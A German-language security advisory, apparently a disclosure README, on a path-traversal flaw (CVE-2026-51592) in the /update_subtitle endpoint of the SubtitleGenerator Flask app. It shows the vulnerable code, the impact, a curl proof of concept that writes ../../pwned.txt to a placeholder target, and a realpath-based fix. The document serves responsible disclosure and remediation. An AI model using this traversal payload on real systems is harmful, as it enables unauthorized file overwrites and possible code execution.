
Path-Traversal-Schwachstelle in TahaBakhtari/SubtitleGenerator - CVE-2026-51592
Im Endpunkt /update_subtitle von TahaBakhtari/SubtitleGenerator besteht eine Path-Traversal-Schwachstelle. Der Endpunkt akzeptiert einen file_name-Parameter von einem nicht authentifizierten Client und verbindet diesen mithilfe von os.path.join() mit einem festen Basisverzeichnis, ohne Path-Traversal-Sequenzen zu bereinigen. Dadurch kann ein entfernter, nicht authentifizierter Angreifer beliebige Dateien außerhalb des vorgesehenen Verzeichnisses data/subtitles/ innerhalb der Berechtigungen des laufenden Prozesses schreiben.
2e2553aapp.py, Funktion update_subtitle (Zeilen 225–238)@app.route('/update_subtitle', methods=['POST'])
def update_subtitle():
file_type = request.form.get('file_type', 'srt')
new_content = request.form.get('new_content')
file_name = request.form.get('file_name')
if not file_name:
return jsonify({'status': 'error', 'message': '...'}), 400
file_path = os.path.join("data/subtitles", file_name)
try:
with open(file_path, "w", encoding="utf-8") as f:
f.write(new_content)
return jsonify({'status': 'success', 'message': '...'})
except Exception as e:
return jsonify({'status': 'error', 'message': str(e)}), 500
Der Parameter file_name wird ohne jegliche Validierung verwendet, um einen Dateipfad zu erstellen. Ein Angreifer kann einen Wert wie ../../pwned.txt angeben, um das Verzeichnis data/subtitles/ zu verlassen und an eine beliebige Stelle zu schreiben, auf die der Prozess Schreibzugriff hat.
Standardmäßig bindet die Anwendung an 0.0.0.0:5000 (siehe app.py), d. h. sie ist über das Netzwerk erreichbar und nicht auf localhost beschränkt.
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Beliebiges Schreiben von Dateien innerhalb der Berechtigungen des Flask-Prozesses
Überschreiben vorhandener Konfigurations- oder Anwendungsdateien
Mögliches Überschreiben von Anwendungsquelldateien (z. B. app.py), was beim nächsten Neustart zu Codeausführung führen könnte
Denial of Service durch Beschädigung kritischer Dateien
Angriffsvektor: Remote
Authentifizierung erforderlich: Nein
Benutzerinteraktion erforderlich: Nein
Schweregrad (vorläufig): Hoch
curl -X POST "http://target:5000/update_subtitle" \
--data "file_name=../../pwned.txt&new_content=HACKED"
Antwort:
{"status": "success", "message": "..."}
Überprüfung auf dem Server:
$ ls
... pwned.txt ...
$ cat pwned.txt
HACKED
Die Datei pwned.txt wird in das Projektwurzelverzeichnis geschrieben, zwei Ebenen über dem vorgesehenen Verzeichnis data/subtitles/ — was die Path Traversal bestätigt.
Siehe poc.sh für eine ausführbare Version dieses Proof of Concept.
Stellen Sie vor dem Öffnen der Datei mithilfe von os.path.realpath() sicher, dass der aufgelöste Pfad innerhalb von data/subtitles/ bleibt:
base_dir = os.path.realpath("data/subtitles")
target = os.path.realpath(os.path.join("data/subtitles", file_name))
if not target.startswith(base_dir + os.sep):
return jsonify({'status': 'error', 'message': 'invalid filename'}), 400
file_path = target
Dadurch wird sichergestellt, dass sich der resultierende Pfad immer innerhalb von data/subtitles/ auflöst, wodurch Traversal-Sequenzen wie ../../ wirksam blockiert werden.
Der vollständige Patch ist in patch.diff verfügbar. Dieser Fix wurde implementiert und gegen eine lokale Testinstanz verifiziert: Derselbe Payload wie im obigen PoC gibt nun einen Fehler „invalid filename" zurück, anstatt die Datei zu schreiben.
Entdeckt und gemeldet von Arda Kuruoglu.
Diese Schwachstelle wurde im Rahmen einer 90-tägigen Responsible-Disclosure-Frist offengelegt, beginnend mit dem Datum der ersten Meldung an den Maintainer.
README.md — dieser Berichtpoc.sh — Proof-of-Concept-Skript, das die Schwachstelle demonstriertpatch.diff — vorgeschlagener Patch, gegen eine lokale Testinstanz validiertDieser Bericht und die dazugehörigen Dateien werden unter der MIT-Lizenz veröffentlicht.